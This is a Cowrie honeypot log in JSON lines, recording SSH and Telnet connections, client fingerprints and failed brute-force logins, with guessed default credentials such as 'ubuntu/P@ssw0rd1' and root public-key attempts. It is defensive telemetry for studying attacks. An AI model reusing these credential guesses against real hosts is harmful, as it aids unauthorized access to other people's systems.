{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":54682,"dst_ip":"159.203.135.109","dst_port":22,"session":"e24411fa7803","protocol":"ssh","message":"New connection: 165.154.36.71:54682 (159.203.135.109:22) [session: e24411fa7803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:17:36.369036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:17:36.378287Z","src_ip":"165.154.36.71","session":"e24411fa7803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:17:36.453133Z","src_ip":"165.154.36.71","session":"e24411fa7803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd1","message":"login attempt [ubuntu/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:17:36.775455Z","src_ip":"165.154.36.71","session":"e24411fa7803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:17:37.853060Z","src_ip":"165.154.36.71","session":"e24411fa7803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":18340,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bfcb90e4a08","protocol":"ssh","message":"New connection: 165.154.36.71:18340 (159.203.135.109:22) [session: 9bfcb90e4a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:18:42.844551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:18:42.850556Z","src_ip":"165.154.36.71","session":"9bfcb90e4a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:18:42.922496Z","src_ip":"165.154.36.71","session":"9bfcb90e4a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@123456","message":"login attempt [odoo/odoo@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:18:43.243472Z","src_ip":"165.154.36.71","session":"9bfcb90e4a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:18:44.321405Z","src_ip":"165.154.36.71","session":"9bfcb90e4a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":32738,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a841777e8b","protocol":"ssh","message":"New connection: 176.65.132.190:32738 (10.17.0.5:22) [session: c9a841777e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:01.982428Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:01.993267Z","src_ip":"176.65.132.190","session":"c9a841777e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.63.123","src_port":40350,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e47af10bb53","protocol":"ssh","message":"New connection: 68.235.63.123:40350 (10.17.0.5:22) [session: 1e47af10bb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.064609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.069504Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.102463Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:c4:32:22:3f:13:2b:06:76:74:43:d7:48:d7:4f:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw0pHBwFpE1fOX6OGGPteGlGs73t22rTxP9N+sjlAotgMvPfi8QU8GDiiKYLI949zpQ4eSyQkNT0fTtvlFNjMpC5hlc6svxyCS4tsxB6YEPMRLoxRqMipIwng6uSmA+wcmoWcgCBPmOnuCeQexLfQUMi0R06OMUsvD01OECD7uRGi57AaC8CACApSzODezlZ9kaclOJWxqYhjTECZUaFv73/efwyBNi7N+yMneB2FNfvdaugkmzsLQFROfjcyJdRvLD1apBgXKrhH0Qq6WX9/Nmhk4j7491RfdpnlWVs6oB1s3DhRYvKVEl9HeSDcSSasqDX/CbR9Pci5ugSS5y8vX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:c4:32:22:3f:13:2b:06:76:74:43:d7:48:d7:4f:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.245796Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:c4:32:22:3f:13:2b:06:76:74:43:d7:48:d7:4f:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCw0pHBwFpE1fOX6OGGPteGlGs73t22rTxP9N+sjlAotgMvPfi8QU8GDiiKYLI949zpQ4eSyQkNT0fTtvlFNjMpC5hlc6svxyCS4tsxB6YEPMRLoxRqMipIwng6uSmA+wcmoWcgCBPmOnuCeQexLfQUMi0R06OMUsvD01OECD7uRGi57AaC8CACApSzODezlZ9kaclOJWxqYhjTECZUaFv73/efwyBNi7N+yMneB2FNfvdaugkmzsLQFROfjcyJdRvLD1apBgXKrhH0Qq6WX9/Nmhk4j7491RfdpnlWVs6oB1s3DhRYvKVEl9HeSDcSSasqDX/CbR9Pci5ugSS5y8vX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.251955Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:fa:13:2a:17:6c:b3:c3:b8:15:dd:b9:14:37:24:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNfOQwn1jmvyGip2kqDNnTXF3cVR3HW5d4LMvUb1tOnazdXN7APrDzIuHnHh+yXmwFBk+1ixvSJHMy8hUBD2G110+Wm9mRT0r/5jLPjC7s9CftsYbo2qjXpkp3emaMix0WK6uPlijxcbCIcPDTy4SaEwHOGXFqA3oRfhA2ejNYg2kwZ9wXrE+YtQ2RilR4xQSrqy4r0pYkBRIRixuaMKCBGvhDQ/RjhITxrukGouwe+zdd30OJmHb/jthkCFMQVVHf0MeQiGkfSfcbmDtnSZhB45jg/SacxyslVCcaXoMwcwFJ8FIJoTu4JWJRMtmKLaswTuvg/AYKYB5kbEKB37FF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:fa:13:2a:17:6c:b3:c3:b8:15:dd:b9:14:37:24:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.292055Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:fa:13:2a:17:6c:b3:c3:b8:15:dd:b9:14:37:24:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNfOQwn1jmvyGip2kqDNnTXF3cVR3HW5d4LMvUb1tOnazdXN7APrDzIuHnHh+yXmwFBk+1ixvSJHMy8hUBD2G110+Wm9mRT0r/5jLPjC7s9CftsYbo2qjXpkp3emaMix0WK6uPlijxcbCIcPDTy4SaEwHOGXFqA3oRfhA2ejNYg2kwZ9wXrE+YtQ2RilR4xQSrqy4r0pYkBRIRixuaMKCBGvhDQ/RjhITxrukGouwe+zdd30OJmHb/jthkCFMQVVHf0MeQiGkfSfcbmDtnSZhB45jg/SacxyslVCcaXoMwcwFJ8FIJoTu4JWJRMtmKLaswTuvg/AYKYB5kbEKB37FF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.296380Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:48:ea:c1:11:46:d1:60:62:e8:a2:2b:91:45:b2:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClPOoiQyqrjbNRKjfommbr2j+rWrWOY1lc6nkylcA9SJi6B+3/jiD7UI+eB5m52IGD3zNjxMIlSfP5JVTRoduVDw9SMYKzT+y4KMHxT+hwFJxJshg2p5gGru4j3acJE2OhnqdUh4moji6xO0ZpkM04kL3mF9MJWWrBiZbOl6mEMDYaoXW6R9TRYMl6oPRSCm2h0xcFrzbl241vl9wNpWPGy9R9C+stJW5opVf0JqgHtQ9Szg1sD0cCLT1/G9a5Ibexdhfxxka1xj7tKMMhbDzvdeFsOw28KyflglKZ52XudnTFKlWBnmiHJharVDdSlj0dNxFhXMifEE4hiWehG/al","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:48:ea:c1:11:46:d1:60:62:e8:a2:2b:91:45:b2:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.338127Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:48:ea:c1:11:46:d1:60:62:e8:a2:2b:91:45:b2:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClPOoiQyqrjbNRKjfommbr2j+rWrWOY1lc6nkylcA9SJi6B+3/jiD7UI+eB5m52IGD3zNjxMIlSfP5JVTRoduVDw9SMYKzT+y4KMHxT+hwFJxJshg2p5gGru4j3acJE2OhnqdUh4moji6xO0ZpkM04kL3mF9MJWWrBiZbOl6mEMDYaoXW6R9TRYMl6oPRSCm2h0xcFrzbl241vl9wNpWPGy9R9C+stJW5opVf0JqgHtQ9Szg1sD0cCLT1/G9a5Ibexdhfxxka1xj7tKMMhbDzvdeFsOw28KyflglKZ52XudnTFKlWBnmiHJharVDdSlj0dNxFhXMifEE4hiWehG/al","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.343408Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:b9:25:61:40:43:db:02:31:77:98:dc:3b:c9:52:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqIbBzvgUUueeG3KIr4je8AlvYVi50uZFi9+g+wgnMpquwai/Gz9eTvYykInZ4Bec0wDV/99uxpf8bOzxj4EckIIHKNljuONOC6CNESxYNJKPJbThuPSs6wOlj20v0XUYw0MLbR19CvI5f86s7fbLa1M+51XKwm2fM5tNCdFm3ln6p6rtnKrBU1Iuob3zq+YDxN1NwkugVDYuCY28W90TBltMynzxwrh6wy4lmjqAiNd9CmTIKhEyNASzQaDeBtIGX7HYQAcVWXoi+LzOkumRR+HyDzRqGyucO8/PM+dqYou+aKag7iUPidGx3rZCIhZfxm1Lm7sD7LHahclp+K/fB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:b9:25:61:40:43:db:02:31:77:98:dc:3b:c9:52:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.381742Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:b9:25:61:40:43:db:02:31:77:98:dc:3b:c9:52:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqIbBzvgUUueeG3KIr4je8AlvYVi50uZFi9+g+wgnMpquwai/Gz9eTvYykInZ4Bec0wDV/99uxpf8bOzxj4EckIIHKNljuONOC6CNESxYNJKPJbThuPSs6wOlj20v0XUYw0MLbR19CvI5f86s7fbLa1M+51XKwm2fM5tNCdFm3ln6p6rtnKrBU1Iuob3zq+YDxN1NwkugVDYuCY28W90TBltMynzxwrh6wy4lmjqAiNd9CmTIKhEyNASzQaDeBtIGX7HYQAcVWXoi+LzOkumRR+HyDzRqGyucO8/PM+dqYou+aKag7iUPidGx3rZCIhZfxm1Lm7sD7LHahclp+K/fB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.388777Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:cc:7f:96:12:e7:e8:0f:09:c7:3d:2f:a5:c9:34:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs5lEsi9OUh9tirZ2XgqTLUQFKI0h4ffdaoh9vKc3R5+vV1kBMeM9Gk3NwnnE8095Agf2vc51OX5eol9izmjRhiKDnWSeurrUuaM1gb0ayty+FrdqlHUWT/arFVYtGT6qvX1fFFP8ejVScVKleNPrRtNRvRRTS7jKsES7OJYAp4dpy86GK3elP4y3ImnvmI2gtQOs4tNmBislXTf32L1RjnxAYS6+sZeS/CpV+gdqy8Jsxw+6zkPx9/BmYOezFgdxCmYF1IblIoiAqsAZYlRJ8iZRoFo8D/yxAbAt6yGLOXz3XW2WyEea1Yk82/nvPoDZxg+iNkQkwe1rIZjXg4DW1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:cc:7f:96:12:e7:e8:0f:09:c7:3d:2f:a5:c9:34:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.425467Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:cc:7f:96:12:e7:e8:0f:09:c7:3d:2f:a5:c9:34:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs5lEsi9OUh9tirZ2XgqTLUQFKI0h4ffdaoh9vKc3R5+vV1kBMeM9Gk3NwnnE8095Agf2vc51OX5eol9izmjRhiKDnWSeurrUuaM1gb0ayty+FrdqlHUWT/arFVYtGT6qvX1fFFP8ejVScVKleNPrRtNRvRRTS7jKsES7OJYAp4dpy86GK3elP4y3ImnvmI2gtQOs4tNmBislXTf32L1RjnxAYS6+sZeS/CpV+gdqy8Jsxw+6zkPx9/BmYOezFgdxCmYF1IblIoiAqsAZYlRJ8iZRoFo8D/yxAbAt6yGLOXz3XW2WyEea1Yk82/nvPoDZxg+iNkQkwe1rIZjXg4DW1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.430030Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:16.465521Z","src_ip":"68.235.63.123","session":"1e47af10bb53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.204.21","src_port":45964,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e27ce6361df","protocol":"ssh","message":"New connection: 152.32.204.21:45964 (159.203.135.109:22) [session: 3e27ce6361df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:45.579707Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\u001d\u0012_x\\xbd\\xba\\xe7!\\xadhl\\xec]\\xa5\\xfe\u001fp\\4\\xa9dM\\xc4","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xfc\u0001\u0000\u0000\\xf8\u0003\u0003\u001d\u0012_x\\xbd\\xba\\xe7!\\xadhl\\xec]\\xa5\\xfe\u001fp\\4\\xa9dM\\xc4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:45.583788Z","src_ip":"152.32.204.21","session":"3e27ce6361df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:45.587542Z","src_ip":"152.32.204.21","session":"3e27ce6361df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.204.21","src_port":45974,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bd7f7b6ed61","protocol":"ssh","message":"New connection: 152.32.204.21:45974 (159.203.135.109:22) [session: 1bd7f7b6ed61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:45.909704Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":36996,"dst_ip":"159.203.135.109","dst_port":22,"session":"42524ad0a1f9","protocol":"ssh","message":"New connection: 165.154.36.71:36996 (159.203.135.109:22) [session: 42524ad0a1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:48.779487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:48.784783Z","src_ip":"165.154.36.71","session":"42524ad0a1f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:48.868786Z","src_ip":"165.154.36.71","session":"42524ad0a1f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"utnubu","message":"login attempt [ubuntu/utnubu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:49.201733Z","src_ip":"165.154.36.71","session":"42524ad0a1f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:50.278386Z","src_ip":"165.154.36.71","session":"42524ad0a1f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":47962,"dst_ip":"10.17.0.5","dst_port":23,"session":"f53145da0adc","protocol":"telnet","message":"New connection: 212.55.149.117:47962 (10.17.0.5:23) [session: f53145da0adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:19:59.121174Z"}
{"eventid":"cowrie.session.closed","duration":"18.2","message":"Connection lost after 18.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:20:04.069502Z","src_ip":"152.32.204.21","session":"1bd7f7b6ed61","protocol":"ssh"}
